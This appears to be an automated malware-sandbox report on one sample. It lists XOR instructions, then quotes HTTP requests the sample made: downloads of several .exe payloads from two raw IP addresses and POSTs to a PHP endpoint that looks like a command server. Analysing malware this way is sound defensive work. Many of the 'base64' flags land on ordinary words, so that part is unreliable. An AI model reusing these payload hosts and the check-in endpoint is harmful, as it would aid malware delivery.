Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004272-51084-2203-0036EF00 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004272-51084-2192-00368A50 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004272-51084-2192-00368A50 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004272-51084-1961-00365790 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004272-51084-1961-00365790 Assembly shows XOR instruction xor eax A356003Bh in Stream UID: 00000000-00004272-51084-3356-0037E747 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004272-51084-2084-003A1F27 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004272-51084-2084-003A1F27 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004272-51084-977-0039883B Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004272-51084-977-0039883B Assembly shows XOR instruction xor dword ptr [ebp-04h] eax in Stream UID: 00000000-00004272-51084-997-0037FD50 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004272-51084-997-0037FD50 Assembly shows XOR instruction xor eax dword ptr [ebp-0Ch] in Stream UID: 00000000-00004272-51084-997-0037FD50 Assembly shows XOR instruction xor eax dword ptr [ebp-14h] in Stream UID: 00000000-00004272-51084-997-0037FD50 Assembly shows XOR instruction xor eax dword ptr [ebp-04h] in Stream UID: 00000000-00004272-51084-997-0037FD50 Assembly shows XOR instruction xor eax ecx in Stream UID: 00000000-00004272-51084-997-0037FD50 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004272-51084-1884-0039D2C9 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004272-51084-1884-0039D2C9 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004272-51084-2188-00366AF0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004272-51084-2188-00366AF033:T6601,Contains base64 string in header "/cost/ko" in header "GET /cost/ko.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 109.107.182.3Cache-Control: no-cache" Contains base64 string in header "like" in header "GET /cost/ko.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 109.107.182.3Cache-Control: no-cache" Contains base64 string in header "2045" in header "GET /cost/ko.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 109.107.182.3Cache-Control: no-cache" Contains base64 string in header "like" in header "GET /mine/amers.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 185.215.113.68Cache-Control: no-cache" Contains base64 string in header "2045" in header "GET /mine/amers.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 185.215.113.68Cache-Control: no-cache" Contains base64 string in header "like" in header "GET /cost/niks.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 109.107.182.3Cache-Control: no-cache" Contains base64 string in header "2045" in header "GET /cost/niks.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 109.107.182.3Cache-Control: no-cache" Contains base64 string in header "like" in header "GET /cost/vinu.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 109.107.182.3Cache-Control: no-cache" Contains base64 string in header "2045" in header "GET /cost/vinu.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 109.107.182.3Cache-Control: no-cache" Contains base64 string in header "Keep" in header "GET /geoip/v2.1/city/me HTTP/1.1Connection: Keep-AliveReferer: https://www.maxmind.com/en/locate-my-ip-addressUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: www.maxmind.com" Contains base64 string in header "AliveReferer" in header "GET /geoip/v2.1/city/me HTTP/1.1Connection: Keep-AliveReferer: https://www.maxmind.com/en/locate-my-ip-addressUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: www.maxmind.com" Contains base64 string in header "like" in header "GET /geoip/v2.1/city/me HTTP/1.1Connection: Keep-AliveReferer: https://www.maxmind.com/en/locate-my-ip-addressUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: www.maxmind.com" Contains base64 string in header "like" in header "GET /cost/networa.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 109.107.182.3Cache-Control: no-cache" Contains base64 string in header "2045" in header "GET /cost/networa.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 109.107.182.3Cache-Control: no-cache" Contains base64 string in header "like" in header "GET /cost/lada.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 109.107.182.3Cache-Control: no-cache" Contains base64 string in header "2045" in header "GET /cost/lada.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 109.107.182.3Cache-Control: no-cache" Contains base64 string in header "Keep" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "User" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "ocsp" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "digicert" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "2FUsCEHe9DWzbNvka6iEPxPBY0w0" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "Keep" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "User" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "ocsp" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "goog" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "2FpEnHuAsArL" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQC3n%2FpEnHuAsArL%2BHyYv98Y HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "Keep" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQC3n%2FpEnHuAsArL%2BHyYv98Y HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "User" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQC3n%2FpEnHuAsArL%2BHyYv98Y HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "ocsp" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQC3n%2FpEnHuAsArL%2BHyYv98Y HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "goog" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQC3n%2FpEnHuAsArL%2BHyYv98Y HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "Keep" in header "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "User" in header "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "ocsp" in header "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "goog" in header "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "/gtsr1/gtsr1" in header "GET /gtsr1/gtsr1.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crl.pki.goog" Contains base64 string in header "Keep" in header "GET /gtsr1/gtsr1.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crl.pki.goog" Contains base64 string in header "User" in header "GET /gtsr1/gtsr1.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crl.pki.goog" Contains base64 string in header "goog" in header "GET /gtsr1/gtsr1.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crl.pki.goog" Contains base64 string in header "Keep" in header "GET /gts1c3/QqFxbi9M48c.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crls.pki.goog" Contains base64 string in header "User" in header "GET /gts1c3/QqFxbi9M48c.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crls.pki.goog" Contains base64 string in header "crls" in header "GET /gts1c3/QqFxbi9M48c.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crls.pki.goog" Contains base64 string in header "goog" in header "GET /gts1c3/QqFxbi9M48c.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crls.pki.goog" Contains base64 string in header "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEATh56TcXPLzbcArQrhdFZ8" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEATh56TcXPLzbcArQrhdFZ8%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "Keep" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEATh56TcXPLzbcArQrhdFZ8%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "User" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEATh56TcXPLzbcArQrhdFZ8%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "ocsp" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEATh56TcXPLzbcArQrhdFZ8%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "digicert" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEATh56TcXPLzbcArQrhdFZ8%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "2Bsl" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTPJvUY%2Bsl%2Bj4yzQuAcL2oQno5fCgQUUWj%2FkK8CB3U8zNllZGKiErhZcjsCEASpLfFaUxgRZ%2BJCgfqy%2B%2BU%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "2BJCgfqy" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTPJvUY%2Bsl%2Bj4yzQuAcL2oQno5fCgQUUWj%2FkK8CB3U8zNllZGKiErhZcjsCEASpLfFaUxgRZ%2BJCgfqy%2B%2BU%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "Keep" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTPJvUY%2Bsl%2Bj4yzQuAcL2oQno5fCgQUUWj%2FkK8CB3U8zNllZGKiErhZcjsCEASpLfFaUxgRZ%2BJCgfqy%2B%2BU%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "User" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTPJvUY%2Bsl%2Bj4yzQuAcL2oQno5fCgQUUWj%2FkK8CB3U8zNllZGKiErhZcjsCEASpLfFaUxgRZ%2BJCgfqy%2B%2BU%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "ocsp" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTPJvUY%2Bsl%2Bj4yzQuAcL2oQno5fCgQUUWj%2FkK8CB3U8zNllZGKiErhZcjsCEASpLfFaUxgRZ%2BJCgfqy%2B%2BU%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "digicert" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTPJvUY%2Bsl%2Bj4yzQuAcL2oQno5fCgQUUWj%2FkK8CB3U8zNllZGKiErhZcjsCEASpLfFaUxgRZ%2BJCgfqy%2B%2BU%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "Keep" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQDSGL5P0jvZghCoV3kPjCsM HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "User" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQDSGL5P0jvZghCoV3kPjCsM HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "ocsp" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQDSGL5P0jvZghCoV3kPjCsM HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "goog" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQDSGL5P0jvZghCoV3kPjCsM HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "Keep" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEB1PEJ9gAC7lEgL62A77Qs4%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "User" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEB1PEJ9gAC7lEgL62A77Qs4%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "ocsp" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEB1PEJ9gAC7lEgL62A77Qs4%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "goog" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEB1PEJ9gAC7lEgL62A77Qs4%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "2Fr4XN7pXNPZzQ4kYU83E1HScCECTIWCtOriVGCn" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCECTIWCtOriVGCn%2FSzrsWgJo%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "Keep" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCECTIWCtOriVGCn%2FSzrsWgJo%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "User" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCECTIWCtOriVGCn%2FSzrsWgJo%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "ocsp" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCECTIWCtOriVGCn%2FSzrsWgJo%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "goog" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCECTIWCtOriVGCn%2FSzrsWgJo%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "POST" in header "POST /theme/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.68Content-Length: 4Cache-Control: no-cache" Contains base64 string in header "/theme/index" in header "POST /theme/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.68Content-Length: 4Cache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /theme/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.68Content-Length: 4Cache-Control: no-cache" Contains base64 string in header "Type" in header "POST /theme/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.68Content-Length: 4Cache-Control: no-cache" Contains base64 string in header "form" in header "POST /theme/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.68Content-Length: 4Cache-Control: no-cache" Contains base64 string in header "POST" in header "POST /theme/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.68Content-Length: 174Cache-Control: no-cache" Contains base64 string in header "/theme/index" in header "POST /theme/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.68Content-Length: 174Cache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /theme/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.68Content-Length: 174Cache-Control: no-cache" Contains base64 string in header "Type" in header "POST /theme/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.68Content-Length: 174Cache-Control: no-cache" Contains base64 string in header "form" in header "POST /theme/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.68Content-Length: 174Cache-Control: no-cache" Contains base64 string in header "174Cache" in header "POST /theme/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.68Content-Length: 174Cache-Control: no-cache" Contains base64 string in header "POST" in header "POST /theme/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.68Content-Length: 31Cache-Control: no-cache" Contains base64 string in header "/theme/index" in header "POST /theme/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.68Content-Length: 31Cache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /theme/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.68Content-Length: 31Cache-Control: no-cache" Contains base64 string in header "Type" in header "POST /theme/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.68Content-Length: 31Cache-Control: no-cache" Contains base64 string in header "form" in header "POST /theme/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.68Content-Length: 31Cache-Control: no-cache" Contains base64 string in header "Keep" in header "GET /gts1c3/QqFxbi9M48c.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: */*If-Modified-Since: Sun, 28 Jan 2024 06:42:34 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: crls.pki.goog" Contains base64 string in header "Modified" in header "GET /gts1c3/QqFxbi9M48c.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: */*If-Modified-Since: Sun, 28 Jan 2024 06:42:34 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: crls.pki.goog" Contains base64 string in header "2024" in header "GET /gts1c3/QqFxbi9M48c.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: */*If-Modified-Since: Sun, 28 Jan 2024 06:42:34 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: crls.pki.goog" Contains base64 string in header "crls" in header "GET /gts1c3/QqFxbi9M48c.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: */*If-Modified-Since: Sun, 28 Jan 2024 06:42:34 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: crls.pki.goog" Contains base64 string in header "goog" in header "GET /gts1c3/QqFxbi9M48c.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: */*If-Modified-Since: Sun, 28 Jan 2024 06:42:34 GMTUser-Agent: 